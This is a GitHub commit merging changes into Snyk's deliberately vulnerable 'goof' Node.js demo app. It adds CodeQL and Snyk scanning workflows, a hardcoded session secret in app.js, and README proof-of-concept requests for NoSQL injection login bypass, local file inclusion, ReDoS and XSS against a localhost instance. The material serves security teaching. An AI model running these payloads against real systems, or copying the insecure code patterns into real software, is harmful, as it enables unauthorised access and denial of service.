Skip to content

Commit 3cbcab5

Browse files
authored
Merge branch 'snyk:master' into master
2 parents dccb59d + 0336589 commit 3cbcab5

19 files changed

+7690
-43
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
# For most projects, this workflow file will not need changing; you simply need
2+
# to commit it to your repository.
3+
#
4+
# You may wish to alter this file to override the set of languages analyzed,
5+
# or to provide custom queries or build logic.
6+
#
7+
# ******** NOTE ********
8+
# We have attempted to detect the languages in your repository. Please check
9+
# the `language` matrix defined below to confirm you have the correct set of
10+
# supported CodeQL languages.
11+
#
12+
name: "CodeQL"
13+
14+
on:
15+
push:
16+
branches: [ master ]
17+
pull_request:
18+
# The branches below must be a subset of the branches above
19+
branches: [ master ]
20+
schedule:
21+
- cron: '32 19 * * 4'
22+
23+
jobs:
24+
analyze:
25+
name: Analyze
26+
runs-on: ubuntu-latest
27+
permissions:
28+
actions: read
29+
contents: read
30+
security-events: write
31+
32+
strategy:
33+
fail-fast: false
34+
matrix:
35+
language: [ 'javascript' ]
36+
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
37+
# Learn more:
38+
# https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
39+
40+
steps:
41+
- name: Checkout repository
42+
uses: actions/checkout@v2
43+
44+
# Initializes the CodeQL tools for scanning.
45+
- name: Initialize CodeQL
46+
uses: github/codeql-action/init@v1
47+
with:
48+
languages: ${{ matrix.language }}
49+
# If you wish to specify custom queries, you can do so here or in a config file.
50+
# By default, queries listed here will override any specified in a config file.
51+
# Prefix the list here with "+" to use these queries and those in the config file.
52+
# queries: ./path/to/local/query, your-org/your-repo/queries@main
53+
54+
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
55+
# If this step fails, then you should remove it and run the build manually (see below)
56+
- name: Autobuild
57+
uses: github/codeql-action/autobuild@v1
58+
59+
# ℹ️ Command-line programs to run using the OS shell.
60+
# 📚 https://git.io/JvXDl
61+
62+
# ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
63+
# and modify them (or add more) to build your code if your project
64+
# uses a compiled language
65+
66+
#- run: |
67+
# make bootstrap
68+
# make release
69+
70+
- name: Perform CodeQL Analysis
71+
uses: github/codeql-action/analyze@v1
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
name: "snyk code manual test"
2+
on: [push, pull_request]
3+
4+
jobs:
5+
build:
6+
name: sarif testing action
7+
runs-on: ubuntu-latest
8+
permissions:
9+
security-events: write
10+
steps:
11+
- uses: actions/checkout@v2
12+
- name: Upload SARIF
13+
uses: github/codeql-action/upload-sarif@v1
14+
with:
15+
sarif_file: sarif.json
16+
# sarif_file: example111.json

.github/workflows/snyk-code.yml

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
name: "snyk code test"
2+
on: [push, pull_request]
3+
jobs:
4+
build:
5+
runs-on: ubuntu-latest
6+
steps:
7+
- uses: actions/checkout@v2
8+
- uses: snyk/actions/setup@master
9+
- name: Snyk Test
10+
run: snyk code test --org=${{ secrets.SNYK_ORG }} --sarif > snyk-sarif2.json
11+
continue-on-error: true
12+
env:
13+
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
14+
- name: Upload SARIF file
15+
uses: github/codeql-action/upload-sarif@v1
16+
with:
17+
sarif_file: snyk-sarif2.json
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
name: "snyk test"
2+
on: [push, pull_request]
3+
jobs:
4+
build:
5+
runs-on: ubuntu-latest
6+
steps:
7+
- uses: actions/checkout@v2
8+
- uses: snyk/actions/setup@master
9+
- name: Snyk Test
10+
run: snyk test --sarif-file-output=snyk-sarif1.json
11+
continue-on-error: true
12+
env:
13+
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
14+
- name: Upload SARIF file
15+
uses: github/codeql-action/upload-sarif@v1
16+
with:
17+
sarif_file: snyk-sarif1.json

.gitignore

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,3 +6,9 @@ node_modules
66
sass
77
config.rb
88
npm-debug.log
9+
10+
.dccache
11+
.dcignore
12+
.idea/
13+
.dccache
14+

README.md

Lines changed: 117 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ This vulnerable app includes the following capabilities to experiment with:
1414
```bash
1515
mongod &
1616

17-
git clone https://github.com/Snyk/snyk-demo-todo
17+
git clone https://github.com/snyk/goof.git
1818
npm install
1919
npm start
2020
```
@@ -42,15 +42,129 @@ npm run cleanup
4242

4343
## Exploiting the vulnerabilities
4444

45-
This app uses npm dependencies holding known vulnerabilities.
45+
This app uses npm dependencies holding known vulnerabilities,
46+
as well as insecure code that introduces code-level vulnerabilities.
47+
48+
The `exploits/` directory includes a series of steps to demonstrate each one.
49+
50+
### Vulnerabilities in open source dependencies
4651

4752
Here are the exploitable vulnerable packages:
4853
- [Mongoose - Buffer Memory Exposure](https://snyk.io/vuln/npm:mongoose:20160116) - requires a version <= Node.js 8. For the exploit demo purposes, one can update the Dockerfile `node` base image to use `FROM node:6-stretch`.
4954
- [st - Directory Traversal](https://snyk.io/vuln/npm:st:20140206)
5055
- [ms - ReDoS](https://snyk.io/vuln/npm:ms:20151024)
5156
- [marked - XSS](https://snyk.io/vuln/npm:marked:20150520)
5257

53-
The `exploits/` directory includes a series of steps to demonstrate each one.
58+
### Vulnerabilities in code
59+
60+
* Open Redirect
61+
* NoSQL Injection
62+
* Code Injection
63+
* Command execution
64+
* Cross-site Scripting (XSS)
65+
* Information exposure via Hardcoded values in code
66+
* Security misconfiguration exposes server information
67+
* Insecure protocol (HTTP) communication
68+
69+
#### Code injection
70+
71+
The page at `/account_details` is rendered as an Handlebars view.
72+
73+
The same view is used for both the GET request which shows the account details, as well as the form itself for a POST request which updates the account details. A so-called Server-side Rendering.
74+
75+
The form is completely functional. The way it works is, it receives the profile information from the `req.body` and passes it, as-is to the template. This however means, that the attacker is able to control a variable that flows directly from the request into the view template library.
76+
77+
You'd think that what's the worst that can happen because we use a validation to confirm the expected input, however the validation doesn't take into account a new field that can be added to the object, such as `layout`, which when passed to a template language, could lead to Local File Inclusion (Path Traversal) vulnerabilities. Here is a proof-of-concept showing it:
78+
79+
```sh
80+
curl -X 'POST' --cookie c.txt --cookie-jar c.txt -H 'Content-Type: application/json' --data-binary '{"username": "[email protected]", "password": "SuperSecretPassword"}' 'http://localhost:3001/login'
81+
```
82+
83+
```sh
84+
curl -X 'POST' --cookie c.txt --cookie-jar c.txt -H 'Content-Type: application/json' --data-binary '{"email": "[email protected]", "firstname": "admin", "lastname": "admin", "country": "IL", "phone": "+972551234123", "layout": "./../package.json"}' 'http://localhost:3001/account_details'
85+
```
86+
87+
Actually, there's even another vulnerability in this code.
88+
The `validator` library that we use has several known regular expression denial of service vulnerabilities. One of them, is associated with the email regex, which if validated with the `{allow_display_name: true}` option then we can trigger a denial of service for this route:
89+
90+
```sh
91+
curl -X 'POST' -H 'Content-Type: application/json' --data-binary "{\"email\": \"`seq -s "" -f "<" 100000`\"}" 'http://localhost:3001/account_details'
92+
```
93+
94+
The `validator.rtrim()` sanitizer is also vulnerable, and we can use this to create a similar denial of service attack:
95+
96+
```sh
97+
curl -X 'POST' -H 'Content-Type: application/json' --data-binary "{\"email\": \"[email protected]\", \"country\": \"nop\", \"phone\": \"0501234123\", \"lastname\": \"nop\", \"firstname\": \"`node -e 'console.log(" ".repeat(100000) + "!")'`\"}" 'http://localhost:3001/account_details'
98+
```
99+
100+
#### NoSQL injection
101+
102+
A POST request to `/login` will allow for authentication and signing-in to the system as an administrator user.
103+
It works by exposing `loginHandler` as a controller in `routes/index.js` and uses a MongoDB database and the `User.find()` query to look up the user's details (email as a username and password). One issue is that it indeed stores passwords in plaintext and not hashing them. However, there are other issues in play here.
104+
105+
106+
We can send a request with an incorrect password to see that we get a failed attempt
107+
```sh
108+
echo '{"username":"[email protected]", "password":"WrongPassword"}' | http --json $GOOF_HOST/login -v
109+
```
110+
111+
And another request, as denoted with the following JSON request to sign-in as the admin user works as expected:
112+
```sh
113+
echo '{"username":"[email protected]", "password":"SuperSecretPassword"}' | http --json $GOOF_HOST/login -v
114+
```
115+
116+
However, what if the password wasn't a string? what if it was an object? Why would an object be harmful or even considered an issue?
117+
Consider the following request:
118+
```sh
119+
echo '{"username": "[email protected]", "password": {"$gt": ""}}' | http --json $GOOF_HOST/login -v
120+
```
121+
122+
We know the username, and we pass on what seems to be an object of some sort.
123+
That object structure is passed as-is to the `password` property and has a specific meaning to MongoDB - it uses the `$gt` operation which stands for `greater than`. So, we in essence tell MongoDB to match that username with any record that has a password that is greater than `empty string` which is bound to hit a record. This introduces the NoSQL Injection vector.
124+
125+
#### Open redirect
126+
127+
The `/admin` view introduces a `redirectPage` query path, as follows in the admin view:
128+
129+
```
130+
<input type="hidden" name="redirectPage" value="<%- redirectPage %>" />
131+
```
132+
133+
One fault here is that the `redirectPage` is rendered as raw HTML and not properly escaped, because it uses `<%- >` instead of `<%= >`. That itself, introduces a Cross-site Scripting (XSS) vulnerability via:
134+
135+
```
136+
http://localhost:3001/login?redirectPage="><script>alert(1)</script>
137+
```
138+
139+
To exploit the open redirect, simply provide a URL such as `redirectPage=https://google.com` which exploits the fact that the code doesn't enforce local URLs in `index.js:72`.
140+
141+
#### Hardcoded values - session information
142+
143+
The application initializes a cookie-based session on `app.js:40` as follows:
144+
145+
```js
146+
app.use(session({
147+
secret: 'keyboard cat',
148+
name: 'connect.sid',
149+
cookie: { secure: true }
150+
}))
151+
```
152+
153+
As you can see, the session `secret` used to sign the session is a hardcoded sensitive information inside the code.
154+
155+
First attempt to fix it, can be to move it out to a config file such as:
156+
```js
157+
module.exports = {
158+
cookieSecret: `keyboard cat`
159+
}
160+
```
161+
162+
And then require the configuration file and use it to initialize the session.
163+
However, that still maintains the secret information inside another file, and Snyk Code will warn you about it.
164+
165+
Another case we can discuss here in session management, is that the cookie setting is initialized with `secure: true` which means it will only be transmitted over HTTPS connections. However, there's no `httpOnly` flag set to true, which means that the default false value of it makes the cookie accessible via JavaScript. Snyk Code highlights this potential security misconfiguration so we can fix it. We can note that Snyk Code shows this as a quality information, and not as a security error.
166+
167+
Snyk Code will also find hardcoded secrets in source code that isn't part of the application logic, such as `tests/` or `examples/` folders. We have a case of that in this application with the `tests/authentication.component.spec.js` file. In the finding, Snyk Code will tag it as `InTest`, `Tests`, or `Mock`, which help us easily triage it and indeed ignore this finding as it isn't actually a case of information exposure.
54168

55169
## Docker Image Scanning
56170

app.js

Lines changed: 14 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,8 @@ var express = require('express');
1212
var http = require('http');
1313
var path = require('path');
1414
var ejsEngine = require('ejs-locals');
15-
var cookieParser = require('cookie-parser');
1615
var bodyParser = require('body-parser');
16+
var session = require('express-session')
1717
var methodOverride = require('method-override');
1818
var logger = require('morgan');
1919
var errorHandler = require('errorhandler');
@@ -23,6 +23,7 @@ var fileUpload = require('express-fileupload');
2323
var dust = require('dustjs-linkedin');
2424
var dustHelpers = require('dustjs-helpers');
2525
var cons = require('consolidate');
26+
const hbs = require('hbs')
2627

2728
var app = express();
2829
var routes = require('./routes');
@@ -32,21 +33,30 @@ var routesUsers = require('./routes/users.js')
3233
app.set('port', process.env.PORT || 3001);
3334
app.engine('ejs', ejsEngine);
3435
app.engine('dust', cons.dust);
36+
app.engine('hbs', hbs.__express);
3537
cons.dust.helpers = dustHelpers;
3638
app.set('views', path.join(__dirname, 'views'));
3739
app.set('view engine', 'ejs');
3840
app.use(logger('dev'));
3941
app.use(methodOverride());
40-
app.use(cookieParser());
42+
app.use(session({
43+
secret: 'keyboard cat',
44+
name: 'connect.sid',
45+
cookie: { path: '/' }
46+
}))
4147
app.use(bodyParser.json());
4248
app.use(bodyParser.urlencoded({ extended: false }));
4349
app.use(fileUpload());
4450

4551
// Routes
4652
app.use(routes.current_user);
4753
app.get('/', routes.index);
48-
app.get('/admin', routes.admin);
49-
app.post('/admin', routes.admin);
54+
app.get('/login', routes.login);
55+
app.post('/login', routes.loginHandler);
56+
app.get('/admin', routes.isLoggedIn, routes.admin);
57+
app.get('/account_details', routes.isLoggedIn, routes.get_account_details);
58+
app.post('/account_details', routes.isLoggedIn, routes.save_account_details);
59+
app.get('/logout', routes.logout);
5060
app.post('/create', routes.create);
5161
app.get('/destroy/:id', routes.destroy);
5262
app.get('/edit/:id', routes.edit);

0 commit comments

Comments
 (0)